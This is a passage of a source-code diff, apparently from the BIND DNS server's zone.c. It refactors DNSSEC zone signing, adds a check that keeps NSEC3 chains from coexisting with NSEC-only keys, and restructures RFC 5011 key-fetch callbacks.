 					   "zone_nsec3chain:updatesecure -> %s",
-					   dns_result_totext(result));
+					   isc_result_totext(result));
 				goto failure;
 			}
 		}
@@ -8880,7 +8536,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 				dnssec_log(zone, ISC_LOG_ERROR,
 					   "zone_nsec3chain:"
 					   "dns_nsec3_addnsec3s -> %s",
-					   dns_result_totext(result));
+					   isc_result_totext(result));
 				goto failure;
 			}
 		}
@@ -8894,11 +8550,11 @@ zone_nsec3chain(dns_zone_t *zone) {
 	}
 	result = dns__zone_updatesigs(&nsec3_diff, db, version, zone_keys,
 				      nkeys, zone, inception, expire, 0, now,
-				      check_ksk, keyset_kskonly, &zonediff);
+				      &zonediff);
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_nsec3chain:dns__zone_updatesigs -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -8908,11 +8564,11 @@ zone_nsec3chain(dns_zone_t *zone) {
 	 */
 	result = dns__zone_updatesigs(&param_diff, db, version, zone_keys,
 				      nkeys, zone, inception, expire, 0, now,
-				      check_ksk, keyset_kskonly, &zonediff);
+				      &zonediff);
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_nsec3chain:dns__zone_updatesigs -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -8922,18 +8578,18 @@ zone_nsec3chain(dns_zone_t *zone) {
 		if (result != ISC_R_SUCCESS) {
 			dnssec_log(zone, ISC_LOG_ERROR,
 				   "zone_nsec3chain:updatesecure -> %s",
-				   dns_result_totext(result));
+				   isc_result_totext(result));
 			goto failure;
 		}
 	}
 
 	result = dns__zone_updatesigs(&nsec_diff, db, version, zone_keys, nkeys,
 				      zone, inception, expire, 0, now,
-				      check_ksk, keyset_kskonly, &zonediff);
+				      &zonediff);
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_nsec3chain:dns__zone_updatesigs -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -8954,7 +8610,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_nsec3chain:del_sigs -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -8963,17 +8619,17 @@ zone_nsec3chain(dns_zone_t *zone) {
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_nsec3chain:update_soa_serial -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
 	result = add_sigs(db, version, &zone->origin, zone, dns_rdatatype_soa,
 			  zonediff.diff, zone_keys, nkeys, zone->mctx,
-			  inception, soaexpire, check_ksk, keyset_kskonly);
+			  inception, soaexpire);
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_nsec3chain:add_sigs -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -9022,7 +8678,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 failure:
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR, "zone_nsec3chain: %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 	}
 
 	/*
@@ -9131,7 +8787,7 @@ del_sig(dns_db_t *db, dns_dbversion_t *version, dns_name_t *name,
 	char namebuf[DNS_NAME_FORMATSIZE];
 	dns_name_format(name, namebuf, sizeof(namebuf));
 
-	result = dns_db_allrdatasets(db, node, version, 0, &iterator);
+	result = dns_db_allrdatasets(db, node, version, 0, 0, &iterator);
 	if (result != ISC_R_SUCCESS) {
 		if (result == ISC_R_NOTFOUND) {
 			result = ISC_R_SUCCESS;
@@ -9174,7 +8830,8 @@ del_sig(dns_db_t *db, dns_dbversion_t *version, dns_name_t *name,
 			dns_rdataset_current(&rdataset, &rdata);
 			CHECK(dns_rdata_tostruct(&rdata, &rrsig, NULL));
 			if (nkeys != 0 && (rrsig.algorithm != algorithm ||
-					   rrsig.keyid != keyid)) {
+					   rrsig.keyid != keyid))
+			{
 				if (rrsig.algorithm == algorithm) {
 					has_alg = true;
 				}
@@ -9216,13 +8873,111 @@ del_sig(dns_db_t *db, dns_dbversion_t *version, dns_name_t *name,
 	return (result);
 }
 
+/*
+ * Prevent the zone entering a inconsistent state where
+ * NSEC only DNSKEYs are present with NSEC3 chains.
+ */
+bool
+dns_zone_check_dnskey_nsec3(dns_zone_t *zone, dns_db_t *db,
+			    dns_dbversion_t *ver, dns_diff_t *diff,
+			    dst_key_t **keys, unsigned int numkeys) {
+	uint8_t alg;
+	dns_rdatatype_t privatetype;
+	;
+	bool nseconly = false, nsec3 = false;
+	isc_result_t result;
+
+	REQUIRE(DNS_ZONE_VALID(zone));
+	REQUIRE(db != NULL);
+
+	privatetype = dns_zone_getprivatetype(zone);
+
+	/* Scan the tuples for an NSEC-only DNSKEY */
+	if (diff != NULL) {
+		for (dns_difftuple_t *tuple = ISC_LIST_HEAD(diff->tuples);
+		     tuple != NULL; tuple = ISC_LIST_NEXT(tuple, link))
+		{
+			if (nseconly && nsec3) {
+				break;
+			}
+
+			if (tuple->op != DNS_DIFFOP_ADD) {
+				continue;
+			}
+
+			if (tuple->rdata.type == dns_rdatatype_nsec3param) {
+				nsec3 = true;
+			}
+
+			if (tuple->rdata.type != dns_rdatatype_dnskey) {
+				continue;
+			}
+
+			alg = tuple->rdata.data[3];
+			if (alg == DNS_KEYALG_RSAMD5 || alg == DNS_KEYALG_DSA ||
+			    alg == DNS_KEYALG_RSASHA1)
+			{
+				nseconly = true;
+			}
+		}
+	}
+	/* Scan the zone keys for an NSEC-only DNSKEY */
+	if (keys != NULL && !nseconly) {
+		for (unsigned int i = 0; i < numkeys; i++) {
+			alg = dst_key_alg(keys[i]);
+			if (alg == DNS_KEYALG_RSAMD5 || alg == DNS_KEYALG_DSA ||
+			    alg == DNS_KEYALG_RSASHA1)
+			{
+				nseconly = true;
+				break;
+			}
+		}
+	}
+
+	/* Check DB for NSEC-only DNSKEY */
+	if (!nseconly) {
+		result = dns_nsec_nseconly(db, ver, diff, &nseconly);
+		/*
+		 * Adding an NSEC3PARAM record can proceed without a
+		 * DNSKEY (it will trigger a delayed change), so we can
+		 * ignore ISC_R_NOTFOUND here.
+		 */
+		if (result == ISC_R_NOTFOUND) {
+			result = ISC_R_SUCCESS;
+		}
+		CHECK(result);
+	}
+
+	/* Check existing DB for NSEC3 */
+	if (!nsec3) {
+		CHECK(dns_nsec3_activex(db, ver, false, privatetype, &nsec3));
+	}
+
+	/* Check kasp for NSEC3PARAM settings */
+	if (!nsec3) {
+		dns_kasp_t *kasp = zone->kasp;
+		if (kasp != NULL) {
+			nsec3 = dns_kasp_nsec3(kasp);
+		}
+	}
+
+	/* Refuse to allow NSEC3 with NSEC-only keys */
+	if (nseconly && nsec3) {
+		goto failure;
+	}
+
+	return (true);
+
+failure:
+	return (false);
+}
+
 /*
  * Incrementally sign the zone using the keys requested.
  * Builds the NSEC chain if required.
  */
 static void
 zone_sign(dns_zone_t *zone) {
-	const char *me = "zone_sign";
 	dns_db_t *db = NULL;
 	dns_dbnode_t *node = NULL;
 	dns_dbversion_t *version = NULL;
@@ -9238,7 +8993,7 @@ zone_sign(dns_zone_t *zone) {
 	dns_signinglist_t cleanup;
 	dst_key_t *zone_keys[DNS_MAXZONEKEYS];
 	int32_t signatures;
-	bool check_ksk, keyset_kskonly, is_ksk, is_zsk;
+	bool is_ksk, is_zsk;
 	bool with_ksk, with_zsk;
 	bool commit = false;
 	bool is_bottom_of_zone;
@@ -9285,22 +9040,22 @@ zone_sign(dns_zone_t *zone) {
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_sign:dns_db_newversion -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto cleanup;
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 
 	result = dns__zone_findkeys(zone, db, version, now, zone->mctx,
 				    DNS_MAXZONEKEYS, zone_keys, &nkeys);
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_sign:dns__zone_findkeys -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto cleanup;
 	}
 
-	kasp = dns_zone_getkasp(zone);
+	kasp = zone->kasp;
 	sigvalidityinterval = dns_zone_getsigvalidityinterval(zone);
 	inception = now - 3600; /* Allow for clock skew. */
 	soaexpire = now + sigvalidityinterval;
@@ -9337,27 +9092,30 @@ zone_sign(dns_zone_t *zone) {
 	signing = ISC_LIST_HEAD(zone->signing);
 	first = true;
 
-	if (dns_zone_getkasp(zone) != NULL) {
-		check_ksk = false;
-		keyset_kskonly = true;
+	if (kasp != NULL) {
 		use_kasp = true;
-	} else {
-		check_ksk = DNS_ZONE_OPTION(zone, DNS_ZONEOPT_UPDATECHECKKSK);
-		keyset_kskonly = DNS_ZONE_OPTION(zone,
-						 DNS_ZONEOPT_DNSKEYKSKONLY);
 	}
 	dnssec_log(zone, ISC_LOG_DEBUG(3), "zone_sign:use kasp -> %s",
 		   use_kasp ? "yes" : "no");
 
 	/* Determine which type of chain to build */
-	if (use_kasp) {
-		build_nsec3 = dns_kasp_nsec3(kasp);
-		build_nsec = !build_nsec3;
-	} else {
-		CHECK(dns_private_chains(db, version, zone->privatetype,
-					 &build_nsec, &build_nsec3));
-		/* If neither chain is found, default to NSEC */
-		if (!build_nsec && !build_nsec3) {
+	CHECK(dns_private_chains(db, version, zone->privatetype, &build_nsec,
+				 &build_nsec3));
+	if (!build_nsec && !build_nsec3) {
+		if (use_kasp) {
+			build_nsec3 = dns_kasp_nsec3(kasp);
+			if (!dns_zone_check_dnskey_nsec3(
+				    zone, db, version, NULL,
+				    (dst_key_t **)&zone_keys, nkeys))
+			{
+				dnssec_log(zone, ISC_LOG_INFO,
+					   "wait building NSEC3 chain until "
+					   "NSEC only DNSKEYs are removed");
+				build_nsec3 = false;
+			}
+			build_nsec = !build_nsec3;
+		} else {
+			/* If neither chain is found, default to NSEC */
 			build_nsec = true;
 		}
 	}
@@ -9466,7 +9224,6 @@ zone_sign(dns_zone_t *zone) {
 
 		for (i = 0; !has_alg && i < nkeys; i++) {
 			bool both = false;
-
 			/*
 			 * Find the keys we want to sign with.
 			 */
@@ -9492,49 +9249,14 @@ zone_sign(dns_zone_t *zone) {
 			 * with the algorithm that was being removed.
 			 */
 			if (signing->deleteit &&
-			    ALG(zone_keys[i]) != signing->algorithm) {
+			    ALG(zone_keys[i]) != signing->algorithm)
+			{
 				continue;
 			}
 
 			/*
-			 * Do we do KSK processing?
+			 * We do KSK processing.
 			 */
-			if (check_ksk && !REVOKE(zone_keys[i])) {
-				bool have_ksk, have_nonksk;
-				if (KSK(zone_keys[i])) {
-					have_ksk = true;
-					have_nonksk = false;
-				} else {
-					have_ksk = false;
-					have_nonksk = true;
-				}
-				for (j = 0; j < nkeys; j++) {
-					if (j == i || (ALG(zone_keys[i]) !=
-						       ALG(zone_keys[j]))) {
-						continue;
-					}
-					/* Don't consider inactive keys, however
-					 * the key may be temporary offline, so
-					 * do consider keys which private key
-					 * files are unavailable.
-					 */
-					if (dst_key_inactive(zone_keys[j])) {
-						continue;
-					}
-					if (REVOKE(zone_keys[j])) {
-						continue;
-					}
-					if (KSK(zone_keys[j])) {
-						have_ksk = true;
-					} else {
-						have_nonksk = true;
-					}
-					both = have_ksk && have_nonksk;
-					if (both) {
-						break;
-					}
-				}
-			}
 			if (use_kasp) {
 				/*
 				 * A dnssec-policy is found. Check what
@@ -9558,14 +9280,26 @@ zone_sign(dns_zone_t *zone) {
 						is_zsk = true;
 					}
 				}
-				/* Treat as if we have both KSK and ZSK. */
 				both = true;
-			} else if (both || REVOKE(zone_keys[i])) {
-				is_ksk = KSK(zone_keys[i]);
-				is_zsk = !KSK(zone_keys[i]);
 			} else {
-				is_ksk = false;
-				is_zsk = true;
+				is_ksk = KSK(zone_keys[i]);
+				is_zsk = !is_ksk;
+
+				/*
+				 * Don't consider inactive keys, however the key
+				 * may be temporary offline, so do consider KSKs
+				 * which private key files are unavailable.
+				 */
+				both = dst_key_have_ksk_and_zsk(
+					zone_keys, nkeys, i, false, is_ksk,
+					is_zsk, NULL, NULL);
+				if (both || REVOKE(zone_keys[i])) {
+					is_ksk = KSK(zone_keys[i]);
+					is_zsk = !KSK(zone_keys[i]);
+				} else {
+					is_ksk = false;
+					is_zsk = false;
+				}
 			}
 
 			/*
@@ -9581,12 +9315,12 @@ zone_sign(dns_zone_t *zone) {
 				continue;
 			}
 
-			CHECK(sign_a_node(
-				db, zone, name, node, version, build_nsec3,
-				build_nsec, zone_keys[i], inception, expire,
-				zone_nsecttl(zone), is_ksk, is_zsk,
-				(both && keyset_kskonly), is_bottom_of_zone,
-				zonediff.diff, &signatures, zone->mctx));
+			CHECK(sign_a_node(db, zone, name, node, version,
+					  build_nsec3, build_nsec, zone_keys[i],
+					  inception, expire, zone_nsecttl(zone),
+					  both, is_ksk, is_zsk,
+					  is_bottom_of_zone, zonediff.diff,
+					  &signatures, zone->mctx));
 			/*
 			 * If we are adding we are done.  Look for other keys
 			 * of the same algorithm if deleting.
@@ -9630,7 +9364,7 @@ zone_sign(dns_zone_t *zone) {
 					if (result != ISC_R_SUCCESS) {
 						dnssec_log(zone, ISC_LOG_ERROR,
 							   "updatesecure -> %s",
-							   dns_result_totext(
+							   isc_result_totext(
 								   result));
 						goto cleanup;
 					}
@@ -9641,7 +9375,7 @@ zone_sign(dns_zone_t *zone) {
 				if (result != ISC_R_SUCCESS) {
 					dnssec_log(zone, ISC_LOG_ERROR,
 						   "updatesignwithkey -> %s",
-						   dns_result_totext(result));
+						   isc_result_totext(result));
 					goto cleanup;
 				}
 				build_nsec = false;
@@ -9650,7 +9384,7 @@ zone_sign(dns_zone_t *zone) {
 				dnssec_log(zone, ISC_LOG_ERROR,
 					   "zone_sign:"
 					   "dns_dbiterator_next -> %s",
-					   dns_result_totext(result));
+					   isc_result_totext(result));
 				goto cleanup;
 			} else if (is_bottom_of_zone) {
 				dns_dbiterator_current(signing->dbiterator,
@@ -9674,12 +9408,11 @@ zone_sign(dns_zone_t *zone) {
 	if (ISC_LIST_HEAD(post_diff.tuples) != NULL) {
 		result = dns__zone_updatesigs(&post_diff, db, version,
 					      zone_keys, nkeys, zone, inception,
-					      expire, 0, now, check_ksk,
-					      keyset_kskonly, &zonediff);
+					      expire, 0, now, &zonediff);
 		if (result != ISC_R_SUCCESS) {
 			dnssec_log(zone, ISC_LOG_ERROR,
 				   "zone_sign:dns__zone_updatesigs -> %s",
-				   dns_result_totext(result));
+				   isc_result_totext(result));
 			goto cleanup;
 		}
 	}
@@ -9701,7 +9434,7 @@ zone_sign(dns_zone_t *zone) {
 			  &zonediff, zone_keys, nkeys, now, false);
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR, "zone_sign:del_sigs -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto cleanup;
 	}
 
@@ -9710,7 +9443,7 @@ zone_sign(dns_zone_t *zone) {
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_sign:update_soa_serial -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto cleanup;
 	}
 
@@ -9720,10 +9453,10 @@ zone_sign(dns_zone_t *zone) {
 	 */
 	result = add_sigs(db, version, &zone->origin, zone, dns_rdatatype_soa,
 			  zonediff.diff, zone_keys, nkeys, zone->mctx,
-			  inception, soaexpire, check_ksk, keyset_kskonly);
+			  inception, soaexpire);
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR, "zone_sign:add_sigs -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto cleanup;
 	}
 
@@ -9776,7 +9509,7 @@ zone_sign(dns_zone_t *zone) {
 failure:
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR, "zone_sign: failed: %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 	}
 
 cleanup:
@@ -9865,8 +9598,7 @@ normalize_key(dns_rdata_t *rr, dns_rdata_t *target, unsigned char *data,
 				     &dnskey, &buf);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	return (ISC_R_SUCCESS);
 }
@@ -9926,16 +9658,14 @@ matchkey(dns_rdataset_t *rdset, dns_rdata_t *rr) {
  *			   1/10 * OrigTTL,
  *			   1/10 * RRSigExpirationInterval))
  */
-static inline isc_stdtime_t
+static isc_stdtime_t
 refresh_time(dns_keyfetch_t *kfetch, bool retry) {
 	isc_result_t result;
 	uint32_t t;
 	dns_rdataset_t *rdset;
 	dns_rdata_t sigrr = DNS_RDATA_INIT;
 	dns_rdata_sig_t sig;
-	isc_stdtime_t now;
-
-	isc_stdtime_get(&now);
+	isc_stdtime_t now = isc_stdtime_now();
 
 	if (dns_rdataset_isassociated(&kfetch->dnskeysigset)) {
 		rdset = &kfetch->dnskeysigset;
@@ -10006,10 +9736,9 @@ minimal_update(dns_keyfetch_t *kfetch, dns_dbversion_t *ver, dns_diff_t *diff) {
 	dns_rdata_keydata_t keydata;
 	dns_name_t *name;
 	dns_zone_t *zone = kfetch->zone;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	name = dns_fixedname_name(&kfetch->name);
-	isc_stdtime_get(&now);
 
 	for (result = dns_rdataset_first(&kfetch->keydataset);
 	     result == ISC_R_SUCCESS;
@@ -10096,14 +9825,15 @@ revocable(dns_keyfetch_t *kfetch, dns_rdata_keydata_t *keydata) {
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
 		if (dst_key_alg(dstkey) == sig.algorithm &&
-		    dst_key_rid(dstkey) == sig.keyid) {
+		    dst_key_rid(dstkey) == sig.keyid)
+		{
 			result = dns_dnssec_verify(
 				keyname, &kfetch->dnskeyset, dstkey, false, 0,
 				mctx, &sigrr, dns_fixedname_name(&fixed));
 
 			dnssec_log(kfetch->zone, ISC_LOG_DEBUG(3),
 				   "Confirm revoked DNSKEY is self-signed: %s",
-				   dns_result_totext(result));
+				   isc_result_totext(result));
 
 			if (result == ISC_R_SUCCESS) {
 				answer = true;
@@ -10122,11 +9852,11 @@ revocable(dns_keyfetch_t *kfetch, dns_rdata_keydata_t *keydata) {
  * local trust anchors according to RFC5011.
  */
 static void
-keyfetch_done(isc_task_t *task, isc_event_t *event) {
+keyfetch_done(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
 	isc_result_t result, eresult;
-	dns_fetchevent_t *devent;
-	dns_keyfetch_t *kfetch;
-	dns_zone_t *zone;
+	dns_keyfetch_t *kfetch = NULL;
+	dns_zone_t *zone = NULL;
 	isc_mem_t *mctx = NULL;
 	dns_keytable_t *secroots = NULL;
 	dns_dbversion_t *ver = NULL;
@@ -10154,29 +9884,29 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 	dns_rdataset_t *dnskeys = NULL, *dnskeysigs = NULL;
 	dns_rdataset_t *keydataset = NULL, dsset;
 
-	UNUSED(task);
-	INSIST(event != NULL && event->ev_type == DNS_EVENT_FETCHDONE);
-	INSIST(event->ev_arg != NULL);
+	INSIST(resp != NULL && resp->type == FETCHDONE);
+
+	kfetch = resp->arg;
+
+	INSIST(kfetch != NULL);
 
-	kfetch = event->ev_arg;
 	zone = kfetch->zone;
-	isc_mem_attach(zone->mctx, &mctx);
+	mctx = kfetch->mctx;
 	keyname = dns_fixedname_name(&kfetch->name);
 	dnskeys = &kfetch->dnskeyset;
 	dnskeysigs = &kfetch->dnskeysigset;
 	keydataset = &kfetch->keydataset;
 
-	devent = (dns_fetchevent_t *)event;
-	eresult = devent->result;
+	eresult = resp->result;
 
 	/* Free resources which are not of interest */
-	if (devent->node != NULL) {
-		dns_db_detachnode(devent->db, &devent->node);
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
 	}
-	if (devent->db != NULL) {
-		dns_db_detach(&devent->db);
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
 	}
-	isc_event_free(&event);
+
 	dns_resolver_destroyfetch(&kfetch->fetch);
 
 	LOCK_ZONE(zone);
@@ -10184,7 +9914,7 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 		goto cleanup;
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 	dns_name_format(keyname, namebuf, sizeof(namebuf));
 
 	result = dns_view_getsecroots(zone->view, &secroots);
@@ -10203,13 +9933,13 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 
 	dnssec_log(zone, ISC_LOG_DEBUG(3),
 		   "Returned from key fetch in keyfetch_done() for '%s': %s",
-		   namebuf, dns_result_totext(eresult));
+		   namebuf, isc_result_totext(eresult));
 
 	/* Fetch failed */
 	if (eresult != ISC_R_SUCCESS || !dns_rdataset_isassociated(dnskeys)) {
 		dnssec_log(zone, ISC_LOG_WARNING,
 			   "Unable to fetch DNSKEY set '%s': %s", namebuf,
-			   dns_result_totext(eresult));
+			   isc_result_totext(eresult));
 		CHECK(minimal_update(kfetch, ver, &diff));
 		goto done;
 	}
@@ -10218,7 +9948,7 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 	if (!dns_rdataset_isassociated(dnskeysigs)) {
 		dnssec_log(zone, ISC_LOG_WARNING,
 			   "No DNSKEY RRSIGs found for '%s': %s", namebuf,
-			   dns_result_totext(eresult));
+			   isc_result_totext(eresult));
 		CHECK(minimal_update(kfetch, ver, &diff));
 		goto done;
 	}
@@ -10266,7 +9996,8 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 				RUNTIME_CHECK(tresult == ISC_R_SUCCESS);
 
 				if (ds.key_tag != sig.keyid ||
-				    ds.algorithm != sig.algorithm) {
+				    ds.algorithm != sig.algorithm)
+				{
 					continue;
 				}
 
@@ -10296,7 +10027,7 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 				   "Verifying DNSKEY set for zone "
 				   "'%s' using DS %d/%d: %s",
 				   namebuf, sig.keyid, sig.algorithm,
-				   dns_result_totext(result));
+				   isc_result_totext(result));
 
 			if (result == ISC_R_SUCCESS) {
 				dnskeys->trust = dns_trust_secure;
@@ -10312,7 +10043,7 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 
 anchors_done:
 	if (keynode != NULL) {
-		dns_keytable_detachkeynode(secroots, &keynode);
+		dns_keynode_detach(&keynode);
 	}
 
 	/*
@@ -10361,7 +10092,7 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 				     "Cannot compute tag for key in zone %s: "
 				     "%s "
 				     "(skipping)",
-				     namebuf, dns_result_totext(result));
+				     namebuf, isc_result_totext(result));
 			continue;
 		}
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
@@ -10379,7 +10110,8 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 
 			if (!secure) {
 				if (keydata.removehd != 0 &&
-				    keydata.removehd <= now) {
+				    keydata.removehd <= now)
+				{
 					deletekey = true;
 				}
 			} else if (keydata.addhd == 0) {
@@ -10487,7 +10219,7 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 				     "Cannot compute tag for key in zone %s: "
 				     "%s "
 				     "(skipping)",
-				     namebuf, dns_result_totext(result));
+				     namebuf, isc_result_totext(result));
 			continue;
 		}
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
@@ -10755,8 +10487,6 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 
 	isc_refcount_decrement(&zone->irefs);
 
-	kfetch->zone = NULL;
-
 	if (dns_rdataset_isassociated(keydataset)) {
 		dns_rdataset_disassociate(keydataset);
 	}
@@ -10768,7 +10498,8 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 	}
 
 	dns_name_free(keyname, mctx);
-	isc_mem_putanddetach(&mctx, kfetch, sizeof(dns_keyfetch_t));
+	isc_mem_putanddetach(&kfetch->mctx, kfetch, sizeof(dns_keyfetch_t));
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 
 	if (secroots != NULL) {
 		dns_keytable_detach(&secroots);
@@ -10776,6 +10507,7 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 
 	free_needed = exit_check(zone);
 	UNLOCK_ZONE(zone);
+
 	if (free_needed) {
 		zone_free(zone);
 	}
@@ -10783,13 +10515,97 @@ keyfetch_done(isc_task_t *task, isc_event_t *event) {
 	INSIST(ver == NULL);
 }
 
+static void
+retry_keyfetch(dns_keyfetch_t *kfetch, dns_name_t *kname) {
+	isc_time_t timenow, timethen;
+	dns_zone_t *zone = kfetch->zone;
+	bool free_needed;
+	char namebuf[DNS_NAME_FORMATSIZE];
+
+	dns_name_format(kname, namebuf, sizeof(namebuf));
+	dnssec_log(zone, ISC_LOG_WARNING,
+		   "Failed to create fetch for %s DNSKEY update", namebuf);
+
+	/*
+	 * Error during a key fetch; cancel and retry in an hour.
+	 */
+	LOCK_ZONE(zone);
+	zone->refreshkeycount--;
+	isc_refcount_decrement(&zone->irefs);
+	dns_db_detach(&kfetch->db);
+	dns_rdataset_disassociate(&kfetch->keydataset);
+	dns_name_free(kname, zone->mctx);
+	isc_mem_putanddetach(&kfetch->mctx, kfetch, sizeof(*kfetch));
+
+	if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
+		/* Don't really retry if we are exiting */
+		char timebuf[80];
+
+		timenow = isc_time_now();
+		DNS_ZONE_TIME_ADD(&timenow, dns_zone_mkey_hour, &timethen);
+		zone->refreshkeytime = timethen;
+		zone_settimer(zone, &timenow);
+
+		isc_time_formattimestamp(&zone->refreshkeytime, timebuf, 80);
+		dnssec_log(zone, ISC_LOG_DEBUG(1), "retry key refresh: %s",
+			   timebuf);
+	}
+
+	free_needed = exit_check(zone);
+	UNLOCK_ZONE(zone);
+
+	if (free_needed) {
+		zone_free(zone);
+	}
+}
+
+static void
+do_keyfetch(void *arg) {
+	isc_result_t result;
+	dns_keyfetch_t *kfetch = (dns_keyfetch_t *)arg;
+	dns_name_t *kname = dns_fixedname_name(&kfetch->name);
+	dns_resolver_t *resolver = NULL;
+	dns_zone_t *zone = kfetch->zone;
+	unsigned int options = DNS_FETCHOPT_NOVALIDATE | DNS_FETCHOPT_UNSHARED |
+			       DNS_FETCHOPT_NOCACHED;
+
+	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
+		goto retry;
+	}
+
+	result = dns_view_getresolver(zone->view, &resolver);
+	if (result != ISC_R_SUCCESS) {
+		goto retry;
+	}
+
+	/*
+	 * Use of DNS_FETCHOPT_NOCACHED is essential here.  If it is not
+	 * set and the cache still holds a non-expired, validated version
+	 * of the RRset being queried for by the time the response is
+	 * received, the cached RRset will be passed to keyfetch_done()
+	 * instead of the one received in the response as the latter will
+	 * have a lower trust level due to not being validated until
+	 * keyfetch_done() is called.
+	 */
+	result = dns_resolver_createfetch(
+		resolver, kname, dns_rdatatype_dnskey, NULL, NULL, NULL, NULL,
+		0, options, 0, NULL, zone->loop, keyfetch_done, kfetch,
+		&kfetch->dnskeyset, &kfetch->dnskeysigset, &kfetch->fetch);
+
+	dns_resolver_detach(&resolver);
+	if (result == ISC_R_SUCCESS) {
+		return;
+	}
+retry:
+	retry_keyfetch(kfetch, kname);
+}
+
 /*
  * Refresh the data in the key zone.  Initiate a fetch to look up
  * DNSKEY records at the trust anchor name.
  */
 static void
 zone_refreshkeys(dns_zone_t *zone) {
-	const char me[] = "zone_refreshkeys";
 	isc_result_t result;
 	dns_rriterator_t rrit;
 	dns_db_t *db = NULL;
@@ -10797,16 +10613,14 @@ zone_refreshkeys(dns_zone_t *zone) {
 	dns_diff_t diff;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	dns_rdata_keydata_t kd;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 	bool commit = false;
-	bool fetching = false, fetch_err = false;
+	bool fetching = false;
 	bool timerset = false;
 
 	ENTER;
 	REQUIRE(zone->db != NULL);
 
-	isc_stdtime_get(&now);
-
 	LOCK_ZONE(zone);
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
 		isc_time_settoepoch(&zone->refreshkeytime);
@@ -10831,7 +10645,6 @@ zone_refreshkeys(dns_zone_t *zone) {
 		isc_stdtime_t timer = 0xffffffff;
 		dns_name_t *name = NULL, *kname = NULL;
 		dns_rdataset_t *kdset = NULL;
-		dns_keyfetch_t *kfetch;
 		uint32_t ttl;
 
 		dns_rriterator_current(&rrit, &name, &ttl, &kdset, NULL);
@@ -10883,72 +10696,41 @@ zone_refreshkeys(dns_zone_t *zone) {
 
 		dns_rriterator_pause(&rrit);
 
-		kfetch = isc_mem_get(zone->mctx, sizeof(dns_keyfetch_t));
-
-		zone->refreshkeycount++;
-		kfetch->zone = zone;
-		isc_refcount_increment0(&zone->irefs);
-		kname = dns_fixedname_initname(&kfetch->name);
-		dns_name_dup(name, zone->mctx, kname);
-		dns_rdataset_init(&kfetch->dnskeyset);
-		dns_rdataset_init(&kfetch->dnskeysigset);
-		dns_rdataset_init(&kfetch->keydataset);
-		dns_rdataset_clone(kdset, &kfetch->keydataset);
-		kfetch->db = NULL;
